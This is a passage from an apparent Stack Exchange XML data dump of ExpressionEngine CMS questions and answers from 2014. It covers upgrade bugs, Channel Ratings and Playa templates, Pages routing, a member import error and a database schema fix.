LastActivityDate="2014-08-28T10:58:45.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25377" PostTypeId="2" ParentId="25345" CreationDate="2014-08-28T10:58:53.677" Score="1" Body="&lt;p&gt;This is a known bug, a fix for EE 2.7 is here &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19772/&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19772/&lt;/a&gt;, and an upgrade to 2.9 fixed it for me. &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-08-29T08:32:16.557" LastActivityDate="2014-08-29T08:32:16.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25379" PostTypeId="2" ParentId="25178" CreationDate="2014-08-28T14:46:35.660" Score="0" Body="&lt;p&gt;I was having the same problem and I just updated the app version in config.php and the warning went away. It's probably a result of restoring your previous config.php file without making this edit on line 14.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;281&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;290&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-28T14:46:35.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25380" PostTypeId="2" ParentId="25328" CreationDate="2014-08-28T15:00:36.697" Score="1" Body="&lt;p&gt;&lt;strong&gt;Step 1: Make sure you are passing parameters to CE Image&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no parameters are passed into CE Image, it will simply return the original image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;foamcow is right. You would want to make sure you are passing the desired width and height into CE Image, not simply outputting them in the HTML. Assuming your &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/php.html#php-parsing-stage&quot; rel=&quot;nofollow&quot;&gt;PHP Parsing Stage&lt;/a&gt; is set to &quot;Input&quot;, this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; width=&quot;&amp;lt;?php echo $imgWidth; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $imgHeight; ?&amp;gt;&quot;}&#xA;   &amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or simply use the more succinct 'single' (as opposed to 'pair') syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{cf_recipes_image}&quot; width=&quot;&amp;lt;?php echo $imgWidth; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $imgHeight; ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not that there is no reason to pass in 'px' in width or height attributes. That applies to both CE Image and the HTML img element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2: Check the template debugger for debug messages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE Image outputs debug messages that detail what is happening when it runs. See the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/troubleshooting#debugging&quot; rel=&quot;nofollow&quot;&gt;Debugging documentation&lt;/a&gt; for more information on how to utilize the debug messages.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-08-28T15:00:36.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25381" PostTypeId="1" AcceptedAnswerId="26019" CreationDate="2014-08-28T15:16:14.167" Score="0" ViewCount="81" Body="&lt;p&gt;I've been using Channel Ratings for a few years now all with no issues. However I've noticed since upgrading EE to 2.9 that only the first comments on any one entry appears (on some entries there are 10's of comments with ratings). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also just upgraded Channel Ratings to 4.0.8 from 4.0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reviewing the update notes on both EE and Channel ratings I don thik there aren't any template changes (are there) that I should be aware of so I can't work out why this would be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $commentCount = 0; ?&amp;gt;&#xA;    {exp:comment:entries sort=&quot;asc&quot; entry_id=&quot;{entry_id}&quot; limit=&quot;10&quot;}&#xA;        &amp;lt;?php $commentCount++; ?&amp;gt;&#xA;        &amp;lt;article class=&quot;review&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;review-meta&quot;&amp;gt;&#xA;                {exp:channel_ratings:rating_comment comment_id=&quot;{comment_id}&quot;}              &#xA;                &amp;lt;div class=&quot;rating rated-2&quot;&amp;gt;{rating:overall:stars}&amp;lt;/div&amp;gt;&#xA;                {/exp:channel_ratings:rating_comment}&#xA;                &amp;lt;p&amp;gt;{name}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;time datetime=&quot;&quot;&amp;gt;{comment_date format=&quot;%d/%m/%Y&quot;}&amp;lt;/time&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;review-content&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;{comment}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .review-content --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;feedback&quot;&amp;gt;&#xA;&#xA;                {exp:channel_ratings:likes comment_id=&quot;{comment_id}&quot;}&#xA;                    {if rating:not_voted}&#xA;                        {exp:channel_ratings:new_like comment_id=&quot;{comment_id}&quot; allow_guests=&quot;yes&quot;}&#xA;                            &amp;lt;div class=&quot;useful&quot;&amp;gt;&#xA;                                &amp;lt;p class=&quot;label&quot;&amp;gt;Was this comment useful to you?&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{rating:like_url}&quot;&amp;gt;Yes&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;{rating:dislike_url}&quot;&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:channel_ratings:new_like}&#xA;                    {/if}&#xA;                    {if rating:liked OR rating:disliked}&#xA;                        &amp;lt;p class=&quot;abuse&quot;&amp;gt;{if rating:liked}{rating:liked} {if rating:liked == 1}person{if:else}people{/if} found this useful &amp;lt;br /&amp;gt;{/if}{if rating:disliked}{rating:disliked} {if rating:disliked == 1}person{if:else}people{/if} did not find this useful{/if}&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                {/exp:channel_ratings:likes}&#xA;&#xA;                &amp;lt;!--&amp;lt;p class=&quot;abuse&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Report abuse&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;--&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/article&amp;gt;&#xA;    {/exp:comment:entries} &#xA;&#xA;    &amp;lt;?php &#xA;    if($commentCount &amp;lt; 1)&#xA;    {&#xA;        ?&amp;gt;&amp;lt;article class=&quot;review&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;review-meta&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;review-content&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;Be the first to write a review!&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .review-content --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;feedback&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/article&amp;gt;&amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;    {exp:comment:form channel=&quot;channel_name_here&quot; entry_id=&quot;{entry_id}&quot; rating:enabled=&quot;yes&quot; rating:allow_guests=&quot;yes&quot; }&#xA;    &amp;lt;div id=&quot;review-form&quot; class=&quot;review-form&quot;&amp;gt;          &#xA;        {if rating:already_rated}&#xA;            &amp;lt;h3 class=&quot;title-style&quot;&amp;gt;You have already &amp;lt;strong&amp;gt;reviewed this entry&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        {if:else}&#xA;&#xA;            &amp;lt;h3 class=&quot;title-style&quot;&amp;gt;Write &amp;lt;strong&amp;gt;a Review&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;            {if logged_out}&#xA;                &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;{logged_in_email}&quot; size=&quot;50&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            {/if}&#xA;&#xA;            &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot;&amp;gt;Review&amp;lt;/label&amp;gt;&#xA;                &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            {if rating:not_rated}&#xA;                &amp;lt;div class=&quot;form-field&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;rating&quot;&amp;gt;Rating&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;select name=&quot;rating[default]&quot; id=&quot;review&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;      &#xA;            {/if}&#xA;&#xA;            &amp;lt;div class=&quot;form-field submit&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; class=&quot;form-button&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;** UPDATE **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since posting this another issue with the comments / ratings has popped up. On some of my pages with lots of comments &amp;amp; ratings (30+) I've been reaching the memory limit for the mysql_result.php script. Whilst I realise this might be a clue that I should paginate my comments, this issue didn't appear until I upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** UPDATE 2 **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using the most basic comment code results in only the first comment appearing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;20&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {comment}&#xA;    &amp;lt;p&amp;gt;By {name} on {comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2014-09-08T13:47:26.927" LastActivityDate="2014-10-03T14:44:05.460" Title="Channel Ratings - since EE upgrade to 2.9 only first comment shows + Memory limit reached" Tags="|upgrade|comments|channel-ratings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25383" PostTypeId="1" AcceptedAnswerId="25394" CreationDate="2014-08-28T16:51:42.110" Score="0" ViewCount="70" Body="&lt;p&gt;In 2.5.3 with Playa 4.3.3, the following setup worked, but after an upgrade to 2.8.1 and a rebuild of the channel:form, submissions are not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel:form, with several input fields that are submitting correctly. I also have an embed that contains a channel entries loop, so I can display video previews, plus the checkbox for the Playa field. I had this working before in the same setup (same field and channel), but now when it submits, no relationships are made.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form dynamic_title=&quot;[order_tv_retailer_name]&quot; channel=&quot;store_tv_orders&quot; return=&quot;{segment_1}/{segment_2}/order/ENTRY_ID&quot; entry_id=&quot;{segment_4}&quot; error_handling=&quot;inline&quot; datepicker=&quot;no&quot; use_live_url=&quot;no&quot; include_assets=&quot;no&quot; include_jquery=&quot;no&quot; class=&quot;form-horizontal form-bordered&quot; site=&quot;msm_site&quot;}&#xA;&#xA;{!-- INSIDE OF EMBED {embed=&quot;&quot;} --}&#xA;{exp:channel:entries channel=&quot;tv_commercials&quot; disable=&quot;category_fields|member_data&quot; site=&quot;msm_site&quot; search:tv_commercials_brand=&quot;{site_short_name}\W&quot;}&#xA;&#xA;{tv_commercials_asset kind=&quot;=video&quot; var_prefix=&quot;file&quot;}&#xA;&#xA;&amp;lt;input type=&quot;checkbox&quot; id=&quot;order_tv_selection_{entry_id}&quot; value=&quot;{entry_id}&quot; name=&quot;order_tv_selection[selections][]&quot; class=&quot;form-control&quot; required&amp;gt;&#xA;&#xA;{/tv_commercials_asset}             &#xA;&#xA;{/exp:channel:entries}&#xA;{!-- END OF EMBED --}&#xA;&#xA;.....more input fields that submit correctly.....&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The intention is to make a Playa relationship using channel:form and an embed that loops through the channel entries I would like to relate. I'm following the documentation for a channel:form checkbox for Playa to a tee (&lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/channel_form.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/templating/channel_form.html&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any suggestions and assistance! &lt;/p&gt;&#xA;" OwnerUserId="3525" LastEditorUserId="3525" LastEditDate="2014-08-29T14:02:25.080" LastActivityDate="2014-08-29T14:02:25.080" Title="P&amp;T Playa not submitting into Channel Form (EE 2.8 &amp; Playa 4.3.3)" Tags="|playa|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25384" PostTypeId="1" AcceptedAnswerId="25391" CreationDate="2014-08-28T17:15:33.403" Score="0" ViewCount="80" Body="&lt;p&gt;I am using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/pages/&quot; rel=&quot;nofollow&quot;&gt;Pages module&lt;/a&gt; and the &lt;a href=&quot;http://devot-ee.com/add-ons/better-pages&quot; rel=&quot;nofollow&quot;&gt;Better Pages plugin&lt;/a&gt; on a site. When I navigate to the 'about' page, http:www/mydomain.com/about does not work and &lt;a href=&quot;http://www.mydomain.com/about/index&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/about/index&lt;/a&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something in regards to how this is set up? Why do I have to include the template name with the template group? I didn't think the template name was required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;Using:&#xA;EE 2.8.1&#xA;Better Pages 1.1.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Pages URI is: /about&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is my index template in the about template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{About/Index} Template Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- STASH SITE SETTINGS --}&#xA;    {stash:embed:partials:site_variables process=&quot;start&quot; replace=&quot;yes&quot; parse=&quot;yes&quot;}&#xA;{!-- /STASH SITE SETTINGS --}&#xA;&#xA;    {snippet--doctype-html-head}&#xA;    {snippet--core-head}&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}css/skins/{exp:stash:get name='color'}.css&quot;&amp;gt;&#xA;    &amp;lt;body class=&quot;{exp:stash:get name='style'}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;&#xA;        {!-- Header Router --}&#xA;            {exp:channel:entries&#xA;                channel=&quot;header&quot;&#xA;                limit=&quot;1&quot;&#xA;                disable='categories|member_data|pagination'&#xA;            }&#xA;                {!-- FIND THE TEMPLATE CHOSEN --}&#xA;                {exp:query&#xA;                    sql=&quot;SELECT template_name FROM exp_templates WHERE template_id = '{header_layout}' &quot;&#xA;                }&#xA;                    {embed=&quot;Header/{template_name}&quot;&#xA;                        rail_message=&quot;{rail_message}&quot;&#xA;                        navigation_type=&quot;{navigation}{navigation:navigation_type}{/navigation}&quot;&#xA;                        navee=&quot;{navigation}{navigation:navee}{/navigation}&quot;&#xA;                        manual=&quot;{navigation}{navigation:manual}{/navigation}&quot;&#xA;                        {if top_links:total_rows &amp;gt; 0}&#xA;                            top_links=&quot;TRUE&quot;&#xA;                        {/if}&#xA;                    }&#xA;                {/exp:query}&#xA;            {/exp:channel:entries}&#xA;        {!-- /Header Router --}&#xA;&#xA;        {!-- Page Router --}&#xA;            {exp:channel:entries&#xA;                channel=&quot;about&quot;&#xA;                limit=&quot;1&quot;&#xA;                disable='categories|member_data|pagination'&#xA;            }&#xA;                {!-- MUST HAVE ENTRY --}&#xA;                {if no_results}&#xA;                    {redirect=&quot;404&quot;}&#xA;                {/if}&#xA;&#xA;                {!-- FIND THE TEMPLATE CHOSEN --}&#xA;                {exp:query&#xA;                    sql=&quot;SELECT template_name FROM exp_templates WHERE template_id = '{page_layout}' &quot;&#xA;                }&#xA;                    {embed=&quot;About/{template_name}&quot;}&#xA;                {/exp:query}&#xA;&#xA;            {/exp:channel:entries}&#xA;        {!-- /Page Router --}&#xA;&#xA;        {!-- Footer Router --}&#xA;            {exp:channel:entries&#xA;                channel=&quot;footer&quot;&#xA;                limit=&quot;1&quot;&#xA;                disable='categories|member_data|pagination'&#xA;            }&#xA;&#xA;                {!-- FIND THE TEMPLATE CHOSEN --}&#xA;                {exp:query&#xA;                    sql=&quot;SELECT template_name FROM exp_templates WHERE template_id = '{footer_layout}' &quot;&#xA;                }&#xA;                    {embed=&quot;Footer/{template_name}&quot;&#xA;                        banner=&quot;{banner_text}&quot;&#xA;                        news_head=&quot;{newsletter_subscription_header}&quot;&#xA;                        news_intro=&quot;{newsletter_lead_in_copy}&quot;&#xA;                        twitter_head=&quot;{twitter_feed_header}&quot;&#xA;                        contact_head=&quot;{contact_header}&quot;&#xA;                        posts_head=&quot;{recent_posts_header}&quot;&#xA;                        work_head=&quot;{recent_work_header}&quot;&#xA;                    }&#xA;                {/exp:query}&#xA;&#xA;            {/exp:channel:entries}&#xA;        {!-- /Footer Router --}&#xA;&#xA;{!-- REQUIRED FOR PREVIEW --}&#xA;    {snippet--foot-constants}&#xA;{!-- /REQUIRED FOR PREVIEW --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-08-28T20:36:35.900" LastActivityDate="2014-08-28T20:59:10.997" Title="Using Pages/Better Pages and can't access template/URL without index after template" Tags="|ee2|pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25385" PostTypeId="1" CreationDate="2014-08-28T18:36:38.500" Score="0" ViewCount="31" Body="&lt;p&gt;How can I duplicate the same Low Reorder sets that I have on my master site on all the duplicated sites on MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 50 sites to deal with and I don't want to do it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Salvo&lt;/p&gt;&#xA;" OwnerUserId="3526" LastActivityDate="2016-06-14T13:37:28.407" Title="Is it possible to duplicate the Low reorder sets across the sites automatically?" Tags="|low-reorder|duplicate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25387" PostTypeId="1" AcceptedAnswerId="25484" CreationDate="2014-08-28T19:20:01.277" Score="0" ViewCount="132" Body="&lt;p&gt;I'm trying to import a member's XML file (produced by Eric Lamb's Export It! add-on) into a new (local) EE 2.9.0 setup using Solspace Importer 2.2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set everything up in Importer but when I try to run it, it gives me an Internal Server Error. Here's what I got in the console: &lt;a href=&quot;http://cl.ly/image/1U3k0r2n3i0B&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1U3k0r2n3i0B&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML file is 6.5MB and contains ~330 members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to fix / get it working.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-09-03T17:24:31.477" Title="Internal Server Error when trying to import members with Solspace Importer" Tags="|members|solspace|import|solspace-importer|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25388" PostTypeId="2" ParentId="25387" CreationDate="2014-08-28T20:01:02.803" Score="0" Body="&lt;p&gt;The URL that's throwing the error looks odd.  You've obscured it so it's hard to say for sure but why would Importer be targeting /admin.php?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that what you expect?  Shouldn't it be /system/index.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do use Importer but not with XML files, I'm not on 2.9.0 yet so no certain what's changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said it's a new local set up so I'd look first to see if your EE preferences/configs are set correctly as well as checking my .htaccess (which for me is the cause of the vast majority of my 500 errors).&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-08-28T20:01:02.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25389" PostTypeId="1" CreationDate="2014-08-28T20:10:10.837" Score="0" ViewCount="48" Body="&lt;p&gt;I have a working template that is included in the right rail of my EE site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This template pulls from a channel that simply relates entries from other channels to this specific channel on a one-to-one basis and is used as a sort of &quot;highlight reel&quot; or &quot;Top 5&quot; for the sidebar. The relationship is using Playa to link multiple different channel's entries to this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works throughout the site with exception to an entry's view template. In that template it only returns with highlighted entries that match that channel. I am simply using the same embed code for another template that is embedded into every page. It embeds like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index &amp;lt;- right_rail &amp;lt;- highlight_reel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, the highlight reel can pull from Activities, Events, and Food channels using Playa for the relationship. When you navigate to the view template of a particular Events entry this only displays Events entries that have been related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a configuration or parameter that needs to be set in order to keep the results consistent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Let me know if there is anything else that would help you help me.&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;I've got this question also &lt;a href=&quot;https://stackoverflow.com/questions/25557038/channel-entries-tag-pair-not-populating-in-the-view-template&quot;&gt;posted here&lt;/a&gt; because I didn't realize that this place existed. I'll sync the two if an answer pops up&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional code for the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;most_popular&quot; dynamic=&quot;yes&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;5&quot;} &#xA;    {exp:playa:children field=&quot;popular_entry&quot; status=&quot;not closed&quot; disable=&quot;members&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks a bundle in advance!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3527" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-08-29T15:37:27.420" Title="Channel Entries tag pair using a Playa field is not populating in the view template" Tags="|channel-entries|playa|" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-29T19:20:12.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="25390" PostTypeId="2" ParentId="25384" CreationDate="2014-08-28T20:17:37.283" Score="0" Body="&lt;p&gt;Better Pages doesn't actually affect the native functionality of Pages at all. It actually just a fieldtype that makes selecting the template/url a little easier by allowing the end user to filter down the list of available templates to those that are appropriate. BP doesn't affect the way Pages handles routing, or even intercept the way it adds it to the DB. It simply selects the correct options using JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the Pages tab and select the template/url that way, I suspect you will find that you have the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't really an &lt;em&gt;answer&lt;/em&gt; as much as a way to rule out that Better Pages would be doing anything funky with your routing. Hoping this helps narrow down your search for a solution.&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2014-08-28T20:17:37.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25391" PostTypeId="2" ParentId="25384" CreationDate="2014-08-28T20:59:10.997" Score="0" Body="&lt;p&gt;Ok, I was able to make this work by doing the following. Maybe I wasn't understanding completely how the Pages Module worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my settings, I kept my default template as 'about/index', and modified the URL in the 'Custom URL' field to '/about/index'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allowed me to navigate to &lt;a href=&quot;http://www.domain.com/about&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/about&lt;/a&gt; and see the dynamic content fed from the router template at &lt;a href=&quot;http://www.domain.com/about/index&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/about/index&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-08-28T20:59:10.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25393" PostTypeId="2" ParentId="25387" CreationDate="2014-08-28T23:48:04.583" Score="2" Body="&lt;p&gt;I think you should try to narrow down the error a little more. Cut the list in half and try each half individually. Does one half go through and the other error? Put aside the working half and cut the bad half into two, and do it again. Keep doing this until you get either a specific XML node causing the issue or figure out it's more about quantity. (You'd basically be doing a &lt;a href=&quot;http://en.wikipedia.org/wiki/Binary_search_algorithm&quot; rel=&quot;nofollow&quot;&gt;Binary Search&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it errors even when you send a single, known-good member to it, I'd consider walking through the module and &lt;code&gt;exit()&lt;/code&gt;ing in various places until it errors before you &lt;code&gt;exit()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2014-08-28T23:48:04.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25394" PostTypeId="2" ParentId="25383" CreationDate="2014-08-29T01:17:41.160" Score="0" Body="&lt;p&gt;Not could have a relation with member_data category?  It is disabled on your channel field parameter. &lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-08-29T01:17:41.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25395" PostTypeId="2" ParentId="25336" CreationDate="2014-08-29T02:08:12.200" Score="1" Body="&lt;p&gt;A &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20533/if-updating-from-2.1.5-or-older-and-blogger-module-is-installed-mysql-error&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, fix this by yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_actions ADD `csrf_exempt` tinyint(1) UNSIGNED NOT NULL default 0  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-08-29T02:08:12.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
